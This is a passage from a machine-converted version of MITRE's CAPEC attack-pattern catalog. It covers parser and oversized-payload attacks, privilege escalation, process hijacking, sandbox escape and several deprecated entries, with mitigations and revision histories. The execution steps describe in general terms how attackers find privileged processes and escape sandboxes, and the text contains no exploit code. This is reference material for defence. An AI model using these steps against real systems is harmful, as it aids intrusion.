xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An adversary's goal is to leverage parser failure to their advantage. In most cases this type of an attack will result in a Denial of Service due to an application becoming unstable, freezing, or crashing. However it may be possible to cause a crash resulting in arbitrary code execution, leading to a jump from the data plane to the control plane [REF-89].&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;This attack is most closely associated with web services using SOAP or a Rest API, because remote service requesters can post malicious payloads to the service provider. The main weakness is that the service provider generally must inspect, parse, and validate the messages to determine routing, workflow, security considerations, and so on. It is exactly these inspection, parsing, and validation routines that this attack targets. This attack exploits the loosely coupled nature of web services, where the service provider has little to no control over the service requester and any messages the service requester sends.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + #indAlternateTermXMLDenialOfService + XML Denial of Service (XML DoS) + + + + + + + + + XML Denial of Service (XML DoS) + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern12530 + Related_Attack_Pattern_12530 + + + + + + + + + + + + + + 130 + + + + + 512 + + + + + + + + + + + + #indAttackStepAttackStep12535 + Attack_Step_12535 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary determines the input data stream that is being processed by a data parser that supports using substitution on the victim's side.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep12540 + Attack_Step_12540 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary crafts input data that may have an adverse effect on the operation of the parser when the data is parsed on the victim's system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An application's user-controllable data is expressed in a language that supports subsitution.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An application does not perform sufficient validation to ensure that user-controllable data is not malicious.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Bad data is passed to the data parser (possibly repeatedly), possibly making it crash or execute arbitrary code.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence12554 + Consequence_12554 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence12558 + Consequence_12558 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence12562 + Consequence_12562 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence12568 + Consequence_12568 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Carefully validate and sanitize all user-controllable data prior to passing it to the data parser routine. Ensure that the resultant data is safe to pass to the data parser.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Perform validation on canonical data.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Pick a robust implementation of the data parser.</xhtml:div> + + + + + 112 + + + + + 20 + + + + + 674 + + + + + 770 + + + + + + + + + + + + #indReferenceReference12587 + Reference_12587 + + + + + + + + + REF-89 + + + + + What is an XML Parser Attack? + + + + + + + + + + + + #indContentHistoryContentHistory12589 + Content_History_12589 + + + + + + + + + + + + + + + + #indSubmissionSubmission12590 + Submission_12590 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification12595 + Modification_12595 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Alternate_Terms, Description, Execution_Flow, Indicators, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification12601 + Modification_12601 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Description + + + + + + + + + + + + #indModificationModification12607 + Modification_12607 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification12613 + Modification_12613 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated @Name, Description, Execution_Flow, Extended_Description, Indicators, Mitigations, Prerequisites, Skills_Required + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName12619 + Previous_Entry_Name_12619 + + + + + + + + + 2021-10-21 + + + + + XML Nested Payloads + + + + + + + + + + + + #CAPEC-231 + Oversized Serialized Data Payloads + + + + + + + + + 231 + + + + + Oversized Serialized Data Payloads + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary injects oversized serialized data payloads into a parser during data processing to produce adverse effects upon the parser such as exhausting system resources and arbitrary code execution.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Applications often need to transform data in and out of serialized data formats, such as XML and YAML, by using a data parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. By supplying oversized payloads in input vectors that will be processed by the parser, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization, and potentially cause execution of arbitrary code. An adversary's goal is to leverage parser failure to their advantage. DoS is most closely associated with web services, SOAP, and Rest, because remote service requesters can post malicious data payloads to the service provider designed to exhaust the service provider's memory, CPU, and/or disk space. This attack exploits the loosely coupled nature of web services, where the service provider has little to no control over the service requester and any messages the service requester sends.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + #indAlternateTermXMLDenialOfService + XML Denial of Service (XML DoS) + + + + + + + + + XML Denial of Service (XML DoS) + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern12636 + Related_Attack_Pattern_12636 + + + + + + + + + + + + + + 130 + + + + + 512 + + + + + + + + + + + + #indAttackStepAttackStep12641 + Attack_Step_12641 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary determines the input data stream that is being processed by an serialized data parser on the victim's side.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep12646 + Attack_Step_12646 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary crafts input data that may have an adverse effect on the operation of the data parser when the data is parsed on the victim's system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An application uses an parser for serialized data to perform transformation on user-controllable data.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An application does not perform sufficient validation to ensure that user-controllable data is safe for a data parser.</xhtml:div> + + + + + + + + + + + + #indSkillSkill12657 + Skill_12657 + + + + + + + + + + + + + + Denial of service + + + + + + + + + + + + #indSkillSkill12658 + Skill_12658 + + + + + + + + + + + + + + Arbitrary code execution + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Bad data is passed to the serialized data parser (possibly repeatedly), possibly making it crash or execute arbitrary code.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence12664 + Consequence_12664 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence12668 + Consequence_12668 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence12672 + Consequence_12672 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence12678 + Consequence_12678 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Carefully validate and sanitize all user-controllable serialized data prior to passing it to the parser routine. Ensure that the resultant data is safe to pass to the parser.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Perform validation on canonical data.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Pick a robust implementation of the serialized data parser.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Validate data against a valid schema or DTD prior to parsing.</xhtml:div> + + + + + 112 + + + + + 20 + + + + + 674 + + + + + 770 + + + + + + + + + + + + #indReferenceReference12698 + Reference_12698 + + + + + + + + + REF-89 + + + + + What is an XML Parser Attack? + + + + + + + + + + + + #indNoteNote12701 + Note_12701 + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">In many cases this type of an attack will result in an XML Denial of Service (XDoS) or similar Denial of Service (DoS) due to an application becoming unstable, freezing, or crashing. However it is possible to cause a crash resulting in arbitrary code execution, leading to a jump from the data plane to the control plane [REF-89].</xhtml:div> + + + + + + + + + + + + #indNoteNote12702 + Note_12702 + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The main weakness in serialized data related DoS is that the service provider generally must inspect, parse, and validate the data messages to determine routing, workflow, security considerations, and so on. It is exactly these inspection, parsing, and validation routines that DoS targets.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory12704 + Content_History_12704 + + + + + + + + + + + + + + + + #indSubmissionSubmission12705 + Submission_12705 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification12710 + Modification_12710 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Alternate_Terms, Description, Execution_Flow, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification12716 + Modification_12716 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated @Name, Description, Execution_Flow, Indicators, Mitigations, Prerequisites + + + + + + + + + + + + #indModificationModification12722 + Modification_12722 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Description, Notes + + + + + + + + + + + + #indModificationModification12728 + Modification_12728 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification12734 + Modification_12734 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName12740 + Previous_Entry_Name_12740 + + + + + + + + + 2020-07-30 + + + + + XML Oversized Payloads + + + + + + + + + + + + #CAPEC-233 + Privilege Escalation + + + + + + + + + 233 + + + + + Privilege Escalation + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary exploits a weakness enabling them to elevate their privilege and perform an action that they are not supposed to be authorized to perform.</xhtml:div> + + + + + 269 + + + + + 1264 + + + + + 1311 + + + + + + + + + + + + #indTaxonomyMappingAbuseElevationControlMechanism + Abuse Elevation Control Mechanism + + + + + + + + + + + + + + 1548 + + + + + Abuse Elevation Control Mechanism + + + + + + + + + + + + #indReferenceReference12757 + Reference_12757 + + + + + + + + + REF-600 + + + + + Testing for Privelege Escalation + + + + + + + + + + + + #indContentHistoryContentHistory12759 + Content_History_12759 + + + + + + + + + + + + + + + + #indSubmissionSubmission12760 + Submission_12760 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification12765 + Modification_12765 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-12-07 + + + + + Updated Description, Description Summary, Relationships, Type (Category -> Attack_Pattern) + + + + + + + + + + + + #indModificationModification12771 + Modification_12771 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification12777 + Modification_12777 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Related_Weaknesses, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification12783 + Modification_12783 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated References, Related_Weaknesses + + + + + + + + + + + + #indModificationModification12789 + Modification_12789 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated @Abstraction + + + + + + + + + + + + #indModificationModification12795 + Modification_12795 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated @Abstraction + + + + + + + + + + + + #CAPEC-234 + Hijacking a privileged process + + + + + + + + + 234 + + + + + Hijacking a privileged process + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary gains control of a process that is assigned elevated privileges in order to execute arbitrary code with those privileges. Some processes are assigned elevated privileges on an operating system, usually through association with a particular user, group, or role. If an attacker can hijack this process, they will be able to assume its level of privilege in order to execute their own code.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern12808 + Related_Attack_Pattern_12808 + + + + + + + + + + + + + + 233 + + + + + 515 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern12811 + Related_Attack_Pattern_12811 + + + + + + + + + + + + + + 242 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern12812 + Related_Attack_Pattern_12812 + + + + + + + + + + + + + + 175 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern12813 + Related_Attack_Pattern_12813 + + + + + + + + + + + + + + 100 + + + + + + + + + + + + #indAttackStepAttackStep12816 + Attack_Step_12816 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Find process with elevated priveleges] The adversary probes for processes running with elevated privileges.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">On Windows, use the process explorer's security tab to see if a process is running with administror privileges.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">On Linux, use the ps command to view running processes and pipe the output to a search for a particular user, or the root user.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep12823 + Attack_Step_12823 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Find vulnerability in running process] The adversary looks for a vulnerability in the running process that would allow for arbitrary code execution with the privilege of the running process.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Look for improper input validation</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Look for a buffer overflow which may be exploited if an adversary can inject unvalidated data.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Utilize system utilities that support process control that have been inadequately secured</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep12831 + Attack_Step_12831 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Execute arbitrary code] The adversary exploits the vulnerability that they have found and hijacks the running process.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The targeted process or operating system must contain a bug that allows attackers to hijack the targeted process.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack.</xhtml:div> + + + + + 732 + + + + + 648 + + + + + + + + + + + + #indContentHistoryContentHistory12847 + Content_History_12847 + + + + + + + + + + + + + + + + #indSubmissionSubmission12848 + Submission_12848 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification12853 + Modification_12853 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification12859 + Modification_12859 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Resources_Required + + + + + + + + + + + + #indModificationModification12865 + Modification_12865 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Related_Attack_Patterns, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification12871 + Modification_12871 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification12877 + Modification_12877 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated Description, Execution_Flow, Related_Attack_Patterns + + + + + + + + + + + + #CAPEC-235 + DEPRECATED: Implementing a callback to system routine (old AWT Queue) + + + + + + + + + 235 + + + + + DEPRECATED: Implementing a callback to system routine (old AWT Queue) + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack pattern has been deprecated. Please refer to CAPEC:30 - Hijacking a Privileged Thread of Execution.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory12890 + Content_History_12890 + + + + + + + + + + + + + + + + #indSubmissionSubmission12891 + Submission_12891 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification12896 + Modification_12896 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification12902 + Modification_12902 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Description, Description Summary, Related_Attack_Patterns + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName12908 + Previous_Entry_Name_12908 + + + + + + + + + 2018-07-31 + + + + + Implementing a callback to system routine (old AWT Queue) + + + + + + + + + + + + #CAPEC-236 + DEPRECATED: Catching exception throw/signal from privileged block + + + + + + + + + 236 + + + + + DEPRECATED: Catching exception throw/signal from privileged block + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack pattern has been deprecated as it did not have enough distinction from CAPEC-30 : Hijacking a Privileged Thread of Execution. Please refer to CAPEC-30 moving forward.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory12916 + Content_History_12916 + + + + + + + + + + + + + + + + #indSubmissionSubmission12917 + Submission_12917 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification12922 + Modification_12922 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification12928 + Modification_12928 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Resources_Required + + + + + + + + + + + + #indModificationModification12934 + Modification_12934 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Execution_Flow + + + + + + + + + + + + #indModificationModification12940 + Modification_12940 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated @Name, @Status, Consequences, Description, Example_Instances, Execution_Flow, Likelihood_Of_Attack, Mitigations, Prerequisites, Related_Attack_Patterns, Related_Weaknesses, Resources_Required, Skills_Required, Typical_Severity + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName12946 + Previous_Entry_Name_12946 + + + + + + + + + 2021-10-21 + + + + + Catching exception throw/signal from privileged block + + + + + + + + + + + + #CAPEC-237 + Escaping a Sandbox by Calling Code in Another Language + + + + + + + + + 237 + + + + + Escaping a Sandbox by Calling Code in Another Language + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker may submit malicious code of another language to obtain access to privileges that were not intentionally exposed by the sandbox, thus escaping the sandbox. For instance, Java code cannot perform unsafe operations, such as modifying arbitrary memory locations, due to restrictions placed on it by the Byte code Verifier and the JVM. If allowed, Java code can call directly into native C code, which may perform unsafe operations, such as call system calls and modify arbitrary memory locations on their behalf. To provide isolation, Java does not grant untrusted code with unmediated access to native C code. Instead, the sandboxed code is typically allowed to call some subset of the pre-existing native code that is part of standard libraries.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern12956 + Related_Attack_Pattern_12956 + + + + + + + + + + + + + + 480 + + + + + + + + + + + + #indAttackStepAttackStep12959 + Attack_Step_12959 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Probing] The attacker probes the target application to see whether calling code of another language is allowed within a sandbox.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker probes the target application to see whether calling code of another language is allowed within a sandbox.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep12965 + Attack_Step_12965 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Analysis] The attacker analyzes the target application to get a list of cross code weaknesses in the standard libraries of the sandbox.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker analyzes the target application to get a list of cross code weaknesses in the standard libraries of the sandbox.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep12971 + Attack_Step_12971 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Verify the exploitable security weaknesses] The attacker tries to craft malicious code of another language allowed by the sandbox to verify the security weaknesses of the standard libraries found in the Explore phase.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker tries to explore the security weaknesses by calling malicious code of another language allowed by the sandbox.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep12977 + Attack_Step_12977 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Exploit the security weaknesses in the standard libraries] The attacker calls malicious code of another language to exploit the security weaknesses in the standard libraries verified in the Experiment phase. The attacker will be able to obtain access to privileges that were not intentionally exposed by the sandbox, thus escaping the sandbox.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker calls malicious code of another language to exploit the security weaknesses in the standard libraries.</xhtml:div> + + + + + + + + + + + + #indSkillSkill12985 + Skill_12985 + + + + + + + + + + + + + + The attacker must have a good knowledge of the platform specific mechanisms of signing and verifying code. Most code signing and verification schemes are based on use of cryptography, the attacker needs to have an understand of these cryptographic operations in good detail. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence12991 + Consequence_12991 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence12996 + Consequence_12996 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence13001 + Consequence_13001 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Assurance: Sanitize the code of the standard libraries to make sure there is no security weaknesses in them.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Use obfuscation and other techniques to prevent reverse engineering the standard libraries.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Assurance: Use static analysis tool to do code review and dynamic tool to do penetration test on the standard library.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configuration: Get latest updates for the computer.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Exploit: Java/ByteVerify.C is a detection of malicious code that attempts to exploit a vulnerability in the Microsoft Virtual Machine (VM). The VM enables Java programs to run on Windows platforms. The Microsoft Java VM is included in most versions of Windows and Internet Explorer. In some versions of the Microsoft VM, a vulnerability exists because of a flaw in the way the ByteCode Verifier checks code when it is initially being loaded by the Microsoft VM. The ByteCode Verifier is a low level process in the Microsoft VM that is responsible for checking the validity of code - or byte code - as it is initially being loaded into the Microsoft VM. Java/ByteVerify.C attempts to download a file named "msits.exe", located in the same virtual directory as the Java applet, into the Windows system folder, and with a random file name. It then tries to execute this specific file. This flaw enables attackers to execute arbitrary code on a user's machine such as writing, downloading and executing additional malware. This vulnerability is addressed by update MS03-011, released in 2003.</xhtml:div> + + + + + 693 + + + + + + + + + + + + #indReferenceReference13022 + Reference_13022 + + + + + + + + + REF-91 + + + + + + + + + + + + #indReferenceReference13023 + Reference_13023 + + + + + + + + + REF-92 + + + + + Exploit: Java/ByteVerify.C + + + + + + + + + + + + #indContentHistoryContentHistory13025 + Content_History_13025 + + + + + + + + + + + + + + + + #indSubmissionSubmission13026 + Submission_13026 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification13031 + Modification_13031 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Resources_Required + + + + + + + + + + + + #indModificationModification13037 + Modification_13037 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Description Summary, Examples-Instances, References + + + + + + + + + + + + #indModificationModification13043 + Modification_13043 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification13049 + Modification_13049 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification13055 + Modification_13055 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated @Name, Description, Execution_Flow, Prerequisites, Related_Attack_Patterns + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName13061 + Previous_Entry_Name_13061 + + + + + + + + + 2018-07-31 + + + + + Calling Signed Code From Another Language Within A Sandbox Allow This + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName13062 + Previous_Entry_Name_13062 + + + + + + + + + 2020-12-17 + + + + + Escaping a Sandbox by Calling Signed Code in Another Language + + + + + + + + + + + + #CAPEC-238 + DEPRECATED: Using URL/codebase / G.A.C. (code source) to convince sandbox of privilege + + + + + + + + + 238 + + + + + DEPRECATED: Using URL/codebase / G.A.C. (code source) to convince sandbox of privilege + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack pattern has been deprecated as it did not appear to be a valid attack pattern.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory13070 + Content_History_13070 + + + + + + + + + + + + + + + + #indSubmissionSubmission13071 + Submission_13071 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification13076 + Modification_13076 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Description, Description Summary, Related_Attack_Patterns + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName13082 + Previous_Entry_Name_13082 + + + + + + + + + 2018-07-31 + + + + + Using URL/codebase / G.A.C. (code source) to convince sandbox of privilege + + + + + + + + + + + + #CAPEC-239 + DEPRECATED: Subversion of Authorization Checks: Cache Filtering, Programmatic Security, etc. + + + + + + + + + 239 + + + + + DEPRECATED: Subversion of Authorization Checks: Cache Filtering, Programmatic Security, etc. + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack pattern has been deprecated as it did not contain any content and did not serve any useful purpose. Please refer to "CAPEC-207: removing Important Client Functionality" going forward.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory13090 + Content_History_13090 + + + + + + + + + + + + + + + + #indSubmissionSubmission13091 + Submission_13091 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification13096 + Modification_13096 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-12-07 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification13102 + Modification_13102 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Description, Description Summary + + + + + + + + + + + + #indModificationModification13108 + Modification_13108 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated @Name, @Status, Description, Related_Attack_Patterns + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName13114 + Previous_Entry_Name_13114 + + + + + + + + + 2018-07-31 + + + + + Subversion of authorization checks: cache filtering, programmatic security, etc. + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName13115 + Previous_Entry_Name_13115 + + + + + + + + + 2019-04-04 + + + + + Subversion of Authorization Checks: Cache Filtering, Programmatic Security, etc. + + + + + + + + + + + + #CAPEC-24 + Filter Failure through Buffer Overflow + + + + + + + + + 24 + + + + + Filter Failure through Buffer Overflow + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">In this attack, the idea is to cause an active filter to fail by causing an oversized transaction. An attacker may try to 